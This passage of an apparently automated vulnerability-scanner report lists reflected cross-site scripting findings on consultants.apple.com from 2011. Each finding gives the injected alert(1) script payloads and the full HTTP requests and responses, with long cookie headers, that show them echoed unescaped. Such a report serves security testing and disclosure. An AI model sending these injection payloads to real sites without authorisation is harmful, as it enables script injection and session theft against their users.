ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15953

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/65fc3"><script>alert(1)</script>5e642d91452/images/hero-2.jpg" class="search" id="g-search">
...[SNIP]...

1.29. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a6cb1%3balert(1)//b404d2d620c was submitted in the REST URL parameter 3. This input was echoed as a6cb1;alert(1)//b404d2d620c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/imagesa6cb1%3balert(1)//b404d2d620c/hero-2.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:41 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:41 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</imagesa6cb1;alert(1)//b404d2d620c/hero-2.jpg" class="search" id="g-search">
...[SNIP]...

1.30. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c6425%3balert(1)//09ca2455e89 was submitted in the REST URL parameter 4. This input was echoed as c6425;alert(1)//09ca2455e89 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpgc6425%3balert(1)//09ca2455e89 HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/hero-2.jpgc6425;alert(1)//09ca2455e89" class="search" id="g-search">
...[SNIP]...

1.31. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a5e97%3balert(1)//bdb1719a813 was submitted in the REST URL parameter 2. This input was echoed as a5e97;alert(1)//bdb1719a813 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3Ca5e97%3balert(1)//bdb1719a813/images/top-split.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15980

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<a5e97;alert(1)//bdb1719a813/images/top-split.gif" class="search" id="g-search">
...[SNIP]...

1.32. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d1e7"><script>alert(1)</script>88f540733e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/9d1e7"><script>alert(1)</script>88f540733e/images/top-split.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15955

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/9d1e7"><script>alert(1)</script>88f540733e/images/top-split.gif" class="search" id="g-search">
...[SNIP]...

1.33. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/top-split.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3ba50%3balert(1)//dc0300b264 was submitted in the REST URL parameter 3. This input was echoed as 3ba50;alert(1)//dc0300b264 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images3ba50%3balert(1)//dc0300b264/top-split.gif HTTP/1.1
Host: consultants.apple.com
